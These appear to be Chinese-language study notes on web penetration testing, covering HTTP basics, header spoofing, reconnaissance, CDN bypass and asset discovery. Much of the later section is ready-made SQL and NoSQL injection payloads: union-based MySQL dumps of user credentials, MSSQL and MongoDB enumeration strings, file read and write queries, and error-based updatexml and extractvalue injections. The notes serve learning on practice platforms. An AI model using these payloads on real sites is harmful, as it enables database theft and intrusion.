1.基础入门
-
请求数据包Request
- 请求行,请求头,请求体
-
响应数据包Response
- 状态行,响应头标,响应数据
- 响应码:1收到 2成功 3重定向 4客户端错误 5服务器错误
-
burpsuite抓包更改信息:墨者学院练习
- php修改ip来源:请求头添加 x-forwarded-for:172.16.1.1
- 微信公众号信息伪造:请求头修改user-agent为微信特有api Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.11(0x17000b21) NetType/4G
-
Vulhub
- 启动docker:service start docker
- 启动环境:进入相应目录(kali,cd home/jang/xiazai/vulhub/xxx),docker-compose up -d
- 关闭:docker-compose down
-
ASP,PHP等源码下的针对漏洞
- 找网站cms,去云溪等cms指纹识别网站;或直接找f12找特殊名字文件复制到百度查询相关cms
- 找cms的相关漏洞—漏洞利用
- 找不到漏洞—查源码,进入默认数据库
-
源码应用分类下的针对漏洞
- 功能越多,漏洞越多,针对业务逻辑找漏洞
-
简要目标从识别到源码获取
-
识别操作系统常见方法:
- ping ttl包值
- 域名换大小写
- nmap -o
-
数据库层面
- asp+access
- php+mysql 3306
- aspx+mssql 1433
- jsp+mssql,orcle 1521
- python+mongodb 27017
-
加密编码
- url :前面有%
- MD5:32位
- base64:最后有=,若解密出来是乱码,则可能是aes加密
- unescape:前面有%加四位数字
- 加密形式:
- 直接加密,带salt,带密码,带偏移,带位数,带模式,带干扰
- 解密形式:枚举,自定义逆行,可逆向
- cmd5.com
- sql注入方式要按照网站的加密方式来写
2.信息收集
2.1 CDN绕过
- CDN作用:缓存网页,针对不同运行商采用不同ip地址
- 为什么绕过:存在同步时间差,扫描到的不是真正的网页
- CDN判断存在:多地点ping网址,响应ip不同则存在
- 常见绕过技术
- 子域名查询 get-site-ip.com ping.chinz.com x.threatbook.cn asm.ca.com
- 邮件服务查询
- 国外地址请求
- 遗留文件,扫描全网
- 黑暗引擎搜索特定文件:zoomeye,fofa,shodan(hash文件值搜索真实ip地址)
- dns历史记录
- 绕过后改本地host为真实ip
2.2 架构、搭建WAF
- 目录型站点分析:同一www目录下两个文件夹放了两套系统,通过目录切换
- 端口型站点分析:同一www目录下两个文件夹放了两套系统,通过端口切换
- 子域名站点分析:子域名两套CMS,两个ip
- 类似域名站点分析:大公司或非法网站常用
- 旁注(同服务器不同站点),c段站点(同网段不同服务器不同站点)分析:旁注查询百度
- 一体化特征搭建:F12写的软件特别全面,一般都是一体化软件搭建
- WAF(web application firefall)查询
- waf00f:github.com/EnableSecurity/wafw00f
2.3 APP及其他财产
- 涉及WEB—转换成web攻击
- APK一键反编译
- 模拟器 利用burp历史抓URL
- 非web协议(区分测试方法)—尝试提取,反编译逆向
2.4 资产拓展
- 资产信息(侧面): 以上平台信息/whois备案/github等监控
- 第三方应用(从这些入手): 数据库应用/各种管理平台/各种第三方应用
- 各种服务接口(发现更多未知接口尝试): 存储服务/支付服务/内部服务…
- 微信公众号(发现更多未知应用)
- 内部群内部应用等(社工或发现): QQ或微信群/工作群/其他通讯群聊
2.5 练习网站:
- butian.net :Aa123456
- xianzhi.aliyun.com
第三方接口
https://crt.sh 查询证书
https://dnsdb.io 查dns记录
htps:/ools ipip.net/cdn.php
https://github.com/bit4woo/teemo
https://securitytrails.com/
opengps查询ip地址
3.WEB漏洞
数据库:
ACESS:表、列、数据,无库与集合表,只能纯猜
https://blog.csdn.net/u014029795/article/details/91150847 //偏移注入
MongoDB:键值对形式查询,区分大小写 NoSQLAttack
?id=1'});return ({title:1,content:'2 //回显
?id=1'});return ({title:tojson(db),content:'1 //爆库
?id=1'});return ({title:tojson(db.getCollectionNames()),content:'1 //爆表
?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'//爆字段,0就是第一个数据
SQL:
and exists(select * from sysobjects//判断数据库类型
and substring((select @@version),22,4)='2008'//判断数据库版本
and 1=(select quotename(name)from master..sysdatabases FOR XML PATH(''))--//获取数据库
and db_name()>0
and 1=(select db_name())--//获取当前数据库
and 1=(select quotename(name)from xx_db..sysobject where xtype='U' FOR XML PATH(''))--//获取当前数据库的表
and 1=(select quotename(name) from xx_db..syscolumns where id=(select id from xx_db where name='xx_table') FOR XML PATH(''))--//获取表的列名
Oracle:网上找相关代码
PostgreSQL: id=-1 union all select null,null,[query]
3.1 SQL注入
-
数据库类型:MYSQL
-
发现数据库有对应关系
-
?id=1 order by 正确与错误临界点; //判断注入,猜列名数量(字段数)
-
?id=-1 union select 1,2,3; //报错显示
-
信息收集
-
数据库版本:version()
-
数据库名字:database()
-
数据库用户:user()
-
操作系统:@@version_compile_os
-
在mysql5.0以上版本中,mysql存在一一个自带数据库名为information_ schema, 它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
1. information_schema.tables:记录所有表名信息的表 2. information_schema.columns:记录所有列名信息的表 3. table_schema:数据库名 4. table_name:表名 5. column_name:列名
-
?id=-1 union select 1,database(),version(), //替换2,3
-
?id=-1 union select 1,group_concat(schema_name),2 from information_schemata
-
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘上面查的数据库名字’ //替换2,不换3 查数据库下所有表名信息
-
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘上面查的表名字’ //替换2,不换3 查上诉表名下所有列名信息
-
?id=-1 union select 1,group_concat(username),group_concat(password) from security.users //显示的数字替换成自己想要的列数据
-
?id=-1 union select 1,2,group_concat(concat_ws(A,‘-’,B)) from security.users //拼接AB字符串爆库
-
-
-
高权限注入及低权限注入
- 跨库查询及应用思路:information_schema表特征,记录库名,表名,列名对应表
- 获取所有数据库名:?id=-1 union select 1,group_concat(schem_name),3 from information_schema.schemata
- 获取指定xx_schema数据库表名:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘xx_schema’
- 获取指定xx_schema库下xx_table表的列名信息:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘xx_schema’ and table_schema=‘xx_table’
- 获取指定数据:?id=-1 union select 1,group_concat(user),password from xx_schema.xx_table
- 低版本:字典暴力
-
文件读写操作
- load_file():select loadfile(‘c:/xx.txt’)
- into outfile 或 into dumpinfo参数:select x into outfile ‘d:/xx.txt’
- 路径获取方法:报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
- 魔术引号:编码或宽字节注入
- 防注入:
- 自带:魔术引号
- 内置函数:is_int
- 自定义关键字:select
- WAF
-
提交方法:POST:GET:REQUEST:COOKIE:HTTP头:
-
数据类型:搜索型:字符型:数字型:
-
查询方式
-
select: select * from news where id=$id
-
insert: insert into news(id,url,text) values(2,‘x’,‘$t’) //过滤单引号和括号
username=x’ or (select 1 from (select count(*),concat((select(select(selectconcat(0x7e,database(),0x7e))) from information_ schema.tables limit 0,1) ,**floor**(rand(0)*2))x from information_ schema.tables group by x)a) or ' username=x' or **updatexml**(1,concat(0x7e,**(version()**)),0) or ' //后加粗部分替换自己想要的函数 username=x' or **extractvalue**(1,concat(0x7e,database()))
-